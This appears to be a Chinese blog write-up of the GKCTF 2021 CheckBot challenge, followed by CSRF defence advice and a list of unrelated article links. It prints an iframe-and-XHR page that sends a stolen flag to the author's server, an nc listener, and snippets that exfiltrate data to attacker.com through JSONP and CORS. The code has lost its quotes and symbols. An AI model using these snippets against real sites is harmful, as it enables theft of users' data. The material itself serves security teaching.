当前位置: 首页 > article >正文

从GKCTF 2021 CheckBot看CSRF攻击的实战应用

1. CSRF攻击初探从CheckBot题目说起第一次看到GKCTF 2021的CheckBot题目时我眼前一亮——这简直是个教科书级的CSRF实战案例。题目设计得很巧妙你需要让一个自动化的bot可以理解为模拟管理员行为的程序点击你构造的恶意链接然后通过跨站请求伪造CSRF的方式窃取flag。这道题的核心在于理解几个关键点题目页面有个admin.php接口里面藏着flag但这个接口只允许本地访问127.0.0.1题目提供的bot会点击你提交的任何链接这就像是你知道银行金库的密码但必须让银行经理亲自去开保险箱。CSRF就是那个能说服经理帮你开保险箱的魔法。2. 解题思路拆解如何让bot帮我们偷flag2.1 理解题目环境我刚开始解题时习惯性地先查看网页源代码。果然在注释里发现了提示需要通过POST方式提交URI。这提示我们可能需要构造一个特殊的请求。admin.php页面明显是关键但直接访问会返回403禁止访问——因为它设置了本地访问限制。这时候常规的XSS攻击可能行不通因为JavaScript的同源策略会阻止我们直接读取跨域内容。2.2 构造恶意页面我的解决方法是创建一个包含iframe的恶意页面html body iframe idflag srchttp://127.0.0.1/admin.php/iframe script window.onload function(){ let flag document.getElementById(flag).contentWindow.document.getElementById(flag).innerHTML; var exportFlag new XMLHttpRequest(); exportFlag.open(get, http://我的服务器IP:端口/flagis- window.btoa(flag)); exportFlag.send(); } /script /body /html这个代码做了三件事创建一个iframe加载admin.php因为是bot访问所以可以绕过本地限制等iframe加载完成后从中提取flag内容通过XHR请求把flag发送到我的服务器2.3 部署与监听把这段代码部署到公网服务器后我做了以下准备在服务器上使用nc命令监听指定端口nc -lvnp 6663把恶意页面URL提交给题目bot耐心等待有时候需要几分钟当bot访问我的恶意页面时它会以本地身份加载admin.php然后我的脚本就能成功窃取flag并发送到我的服务器。3. CSRF攻击的底层原理3.1 什么是CSRF跨站请求伪造CSRF是一种利用受害者已登录状态发起恶意请求的攻击方式。简单来说就是让受害者的浏览器代替攻击者发送请求。打个比方假设你在咖啡店登录了银行网站没退出。我递给你一张写着请转账1000元给小明的纸条你顺手就交给了柜台。因为柜台认得你是已认证客户就直接执行了——这就是CSRF的精髓。3.2 CSRF与XSS的区别很多新手容易混淆CSRF和XSS其实它们有本质区别特性CSRFXSS攻击目标利用用户身份执行操作窃取用户数据或会话执行位置受害者的浏览器受害者的浏览器依赖条件用户已认证网站存在注入漏洞典型场景转账、改密码等操作窃取cookie、钓鱼在CheckBot题目中我们实际上是结合了CSRF和少量DOM操作——用CSRF绕过本地限制然后用JavaScript提取内容。4. 防御CSRF的实战方案4.1 服务端防御措施根据OWASP建议最有效的CSRF防护措施包括CSRF Token为每个表单生成唯一token// 生成token $_SESSION[token] bin2hex(random_bytes(32)); // 验证token if (!hash_equals($_SESSION[token], $_POST[token])) { die(CSRF token validation failed); }SameSite Cookie属性// 设置Cookie时添加SameSite属性 setcookie(sessionid, $value, [ samesite Strict, secure true, httponly true ]);检查Origin/Referer头$allowedOrigins [https://example.com]; if (!in_array($_SERVER[HTTP_ORIGIN], $allowedOrigins)) { header(HTTP/1.1 403 Forbidden); exit; }4.2 前端补充防护虽然主要防护应该在后端但前端也可以做些补充敏感操作要求二次确认关键表单使用CAPTCHA验证避免使用GET请求修改数据5. CTF中的CSRF变种攻击在实战CTF比赛中CSRF经常与其他漏洞结合出现。除了CheckBot这种经典形式我还遇到过几种变种JSONP劫持利用回调函数窃取数据script function stealData(data) { new Image().src http://attacker.com/?dataJSON.stringify(data); } /script script srchttps://victim.com/api?callbackstealData/scriptCORS滥用利用宽松的CORS配置fetch(https://victim.com/api, { credentials: include // 携带cookie }) .then(res res.json()) .then(data exfiltrate(data));Flash CSRF利用已淘汰但可能存在的Flash组件这些攻击方式在近年CTF比赛中都有出现理解它们的原理对Web安全学习很有帮助。6. 从开发视角看CSRF防护作为开发者我建议在项目初期就考虑CSRF防护。现代框架通常内置防护机制Django# 在模板中自动添加token form methodpost{% csrf_token %}Spring SecurityConfiguration public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } }Expressconst csrf require(csurf); const csrfProtection csrf({ cookie: true }); app.post(/transfer, csrfProtection, (req, res) { // 处理表单 });这些框架的实现方式各有特点但核心思想都是验证请求的合法性。7. 漏洞挖掘实战技巧如果你想在CTF比赛或合法渗透测试中寻找CSRF漏洞我有几个实用技巧检查表单是否缺少token手动移除token看是否仍然有效观察Cookie的SameSite属性Chrome开发者工具的Application面板测试JSONP接口尝试添加callback参数验证CORS配置发送带有Origin头的OPTIONS请求检查重定向逻辑有些SSRF漏洞可能转化为CSRF在真实环境中我通常会使用Burp Suite的CSRF PoC生成器快速测试漏洞存在性。但记住未经授权的测试是违法的一定要获得明确授权。8. 扩展思考CSRF在现代Web中的演变随着Web技术的发展CSRF攻击面也在变化。最近几年我注意到几个趋势GraphQL的CSRF虽然GraphQL通常使用POST但错误配置可能导致CSRFREST API的风险过度依赖Cookie认证的API容易受到攻击移动端CSRFApp内WebView的认证持久化可能带来风险OAuth滥用恶意利用OAuth的回调机制这些新兴场景提醒我们安全防护需要与时俱进。即便是古老的CSRF在新环境下也可能焕发新生。

相关文章:

从GKCTF 2021 CheckBot看CSRF攻击的实战应用

1. CSRF攻击初探:从CheckBot题目说起 第一次看到GKCTF 2021的CheckBot题目时,我眼前一亮——这简直是个教科书级的CSRF实战案例。题目设计得很巧妙:你需要让一个自动化的bot(可以理解为模拟管理员行为的程序)点击你构造…...

利用Kali与Seeker实现位置追踪:技术原理与防范策略

1. Kali与Seeker位置追踪技术揭秘 你可能听说过黑客能通过一个链接获取你的精确位置,听起来像电影情节对吧?但实际上,这种技术门槛比想象中低得多。我去年在安全测试中就曾用Kali Linux配合Seeker工具,成功复现了这种位置追踪攻击…...

免费获取米哈游游戏字体:11款架空文字完整安装指南

免费获取米哈游游戏字体:11款架空文字完整安装指南 【免费下载链接】HoYo-Glyphs Constructed scripts by HoYoverse 米哈游的架空文字 项目地址: https://gitcode.com/gh_mirrors/ho/HoYo-Glyphs 想要为你的设计作品注入米哈游游戏的独特魅力吗?…...

基于springboot乡镇卫生所医用物资进销存系统设计与实现_qn3ueh40

前言 乡镇卫生所作为基层医疗服务机构,承担着为当地居民提供基本医疗服务和公共卫生服务的重要职责。然而,由于资源有限、管理手段落后等原因,乡镇卫生所在医用物资管理方面普遍存在库存不准确、采购不及时、物资浪费或短缺等问题。基于Sprin…...

终极指南:3步轻松解锁网易云音乐加密文件,让音乐随处播放

终极指南:3步轻松解锁网易云音乐加密文件,让音乐随处播放 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 你是否曾经遇到过这样的尴尬时刻?精心收藏的网易云音乐歌曲,想在车载音响上播…...

像素史诗·智识终端软件测试面试题分析与用例设计生成

像素史诗智识终端软件测试面试题分析与用例设计生成 1. 测试工程师的痛点与解决方案 在软件测试工程师的日常工作中,面试准备和测试用例设计是两大核心挑战。很多测试工程师都遇到过这样的困境:面对五花八门的面试题不知如何系统准备,或者面…...

终极Windows系统清理指南:如何用WindowsCleaner快速拯救你的C盘空间

终极Windows系统清理指南:如何用WindowsCleaner快速拯救你的C盘空间 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否经常遇到Windows电脑运行越…...

STC32G/AI8051U的GPIO中断库函数实战:从手册警告到实际可用的完整配置流程

STC32G/AI8051U的GPIO中断库函数实战:从手册警告到实际可用的完整配置流程 当STC32G12K128开发板上的LED灯随着按键触发精准闪烁时,我盯着示波器上清晰的下降沿波形,不禁对官方手册中"暂不要使用上升/下降沿中断模式"的警告产生了疑…...

Phi-4-mini-reasoning应用场景:芯片设计验证中的布尔逻辑表达式求值

Phi-4-mini-reasoning在芯片设计验证中的布尔逻辑表达式求值应用 1. 芯片设计验证的挑战 芯片设计验证是半导体行业中最耗时且关键的环节之一。在这个阶段,工程师需要验证设计的逻辑电路是否满足预期功能,而布尔逻辑表达式求值正是这一过程的核心组成部…...

网络协议:BFD

文章目录 BFD RFC 7419 开源软件 omni switch vpp keepalived openswitch BFD 自从我接手一个网络项目,从2018年开始做BFD,一直到2026年,还没有完成,现在看项目计划BFD的开发都要拖到2028年了。一个主要的原因是需求没有这么强烈,原来的网络检测方法以及够用,满足需求。…...

DeepSeek-R1-Distill-Llama-8B实操指南:Ollama模型权重路径修改与自定义加载

DeepSeek-R1-Distill-Llama-8B实操指南:Ollama模型权重路径修改与自定义加载 1. 认识DeepSeek-R1-Distill-Llama-8B推理模型 DeepSeek-R1系列是专门针对推理任务优化的新一代模型,其中DeepSeek-R1-Distill-Llama-8B是基于Llama架构的蒸馏版本。这个8B参…...

从3000到20万,普源、鼎阳、泰克示波器怎么选?一份给嵌入式开发者的‘够用就好’选购指南

从3000到20万:嵌入式开发者示波器选购实战指南 当你面对一个SPI通信异常需要抓取波形时,或是调试I2C总线上的数据错乱时,一台合适的示波器就是你的"第三只眼"。但打开购物网站,从3000元的国产入门款到20万元的进口旗舰&…...

建模比赛代码集合

目录 0 环境配置与检查 1 数据预处理 1.1 数据清洗 1.2 编码转换 1.3 特征工程 1.4 基础的数据处理(代码-python) 2 离散连续\分类预测算法 2.1 离散\分类算法 2.2 连续\预测算法 3 有无监督 3.1 有监督学习 3.2 无监督学习 4 神经网络 5 …...

EVA-01企业微信机器人实战:5步打造移动端图片分析助手

EVA-01企业微信机器人实战:5步打造移动端图片分析助手 1. 项目背景与价值 在移动办公场景中,我们经常遇到需要快速分析图片内容的场景:工厂设备巡检、产品设计评审、文档信息提取等。传统方式需要将图片传输到电脑端,再通过专业…...

Local SDXL-Turbo实操手册:从键盘输入到画面生成的完整链路

Local SDXL-Turbo实操手册:从键盘输入到画面生成的完整链路 1. 什么是Local SDXL-Turbo? Local SDXL-Turbo是一个基于StabilityAI SDXL-Turbo构建的实时绘画工具。与传统的AI绘画工具需要等待几分钟生成不同,这个工具实现了真正的"打字…...

LangChain4j实战:手把手教你用Tools工具解决大模型“幻觉”,让AI准确获取当前日期和实时数据

LangChain4j实战:用Tools工具消除大模型“幻觉”,实现精准数据获取 最近在开发一个需要集成大语言模型的Java应用时,遇到了一个棘手的问题:当用户询问"今天几号"或"某股票最新价格"时,模型给出的答…...

终极免费解决方案:RDPWrap实现Windows远程桌面多用户连接完整指南

终极免费解决方案:RDPWrap实现Windows远程桌面多用户连接完整指南 【免费下载链接】rdpwrap RDP Wrapper Library 项目地址: https://gitcode.com/gh_mirrors/rd/rdpwrap 你是否曾经因为Windows远程桌面只能单用户连接而感到困扰?是否希望家庭多设…...

告别复杂编译!vLLM-v0.17.1镜像一键部署,小白也能快速搭建LLM服务

告别复杂编译!vLLM-v0.17.1镜像一键部署,小白也能快速搭建LLM服务 1. vLLM框架简介 vLLM是一个专为大型语言模型(LLM)设计的高性能推理和服务库,最初由加州大学伯克利分校的天空计算实验室开发,现已发展成为社区驱动的开源项目。…...

3个步骤解锁微信网页版:告别“无法登录“的终极解决方案

3个步骤解锁微信网页版:告别"无法登录"的终极解决方案 【免费下载链接】wechat-need-web 让微信网页版可用 / Allow the use of WeChat via webpage access 项目地址: https://gitcode.com/gh_mirrors/we/wechat-need-web 还在为微信网页版那个令人…...

AI 辅助编程浪潮下,开发者如何平衡使用与责任?

接受改变 编程曾经很有趣,如今工具变了,AI 迫使开发者做出改变。作者曾用 GitHub Copilot 实现代码补全和生成,首次真正体验 AI 辅助开发是在 Codex 上。起初完全依赖 Codex 让作者迷茫,后采用“逐提交质量检查的 AI 辅助”方法&a…...

PMD自定义规则开发终极指南:打造专属代码质量检查工具

PMD自定义规则开发终极指南:打造专属代码质量检查工具 【免费下载链接】pmd An extensible multilanguage static code analyzer. 项目地址: https://gitcode.com/gh_mirrors/pm/pmd PMD作为一款强大的多语言静态代码分析工具,允许开发者通过自定…...

N-Day 基准测试揭晓:OpenAI GPT - 5.4 以 83.93 分领跑语言模型网络安全能力排名

【导语:N - Day 基准测试用于衡量前沿语言模型发现现实世界中在其知识截止日期之后披露的漏洞的能力。近期测试已完成,扫描 1000 个安全公告,公布了各模型的平均得分等数据。】N - Day 基准测试:衡量语言模型网络安全能力N - Day …...

别再为PLC和DCS通讯头疼了!手把手教你用Modbus桥接器搞定西门子S7-300/400与DCS对接

工业自动化实战:西门子PLC与DCS系统的高效Modbus桥接方案 在工业自动化现场,不同品牌设备间的数据互通一直是工程师的痛点。上周在化工厂遇到个典型案例:产线中控室的DCS系统需要实时读取西门子S7-300 PLC的温度数据,但两者协议不…...

4步快速完成B站视频转文字:免费开源工具bili2text终极指南

4步快速完成B站视频转文字:免费开源工具bili2text终极指南 【免费下载链接】bili2text Bilibili视频转文字,一步到位,输入链接即可使用 项目地址: https://gitcode.com/gh_mirrors/bi/bili2text 还在为手动记录B站视频内容而烦恼吗&am…...

ZIO性能优化终极指南:让你的应用快10倍的秘诀

ZIO性能优化终极指南:让你的应用快10倍的秘诀 【免费下载链接】zio ZIO — A type-safe, composable library for async and concurrent programming in Scala 项目地址: https://gitcode.com/gh_mirrors/zi/zio ZIO是一个类型安全、可组合的Scala异步并发编…...

Towards-Realtime-MOT性能评估与调优:如何达到MOTA 64%+的跟踪精度

Towards-Realtime-MOT性能评估与调优:如何达到MOTA 64%的跟踪精度 【免费下载链接】Towards-Realtime-MOT Joint Detection and Embedding for fast multi-object tracking 项目地址: https://gitcode.com/gh_mirrors/to/Towards-Realtime-MOT Towards-Realt…...

Chart.js项目实战:科学研究数据可视化完整指南

Chart.js项目实战:科学研究数据可视化完整指南 【免费下载链接】awesome A curated list of awesome Chart.js resources and libraries 项目地址: https://gitcode.com/GitHub_Trending/awesome/awesome Chart.js是一款功能强大的开源数据可视化库&#xff…...

终极指南:如何免费解锁《原神》60FPS限制,让游戏帧率飙升!

终极指南:如何免费解锁《原神》60FPS限制,让游戏帧率飙升! 【免费下载链接】genshin-fps-unlock unlocks the 60 fps cap 项目地址: https://gitcode.com/gh_mirrors/ge/genshin-fps-unlock 想要在《原神》中获得更流畅的游戏体验吗&a…...

【pip】pip的各种操作

安装指定版本的库 pip install torchaudio2.1.2导出当前环境的python安装库 使用–local来去掉文件的安装路径 pip freeze --local > requirements.txt会导出当前环境的所有库,按需要删除 安装下载到本地的包 1.cd到包所在的文件夹 d: cd D:\迅雷下载2.pip insta…...

Pixel Script Temple 数据库课程设计实战:AI辅助生成SQL与ER图脚本

Pixel Script Temple 数据库课程设计实战:AI辅助生成SQL与ER图脚本 1. 课程设计的痛点与解决方案 对于高校学生来说,数据库课程设计往往是一个既期待又头疼的环节。期待是因为终于可以把理论知识付诸实践,头疼则是因为从概念到实现的过程中…...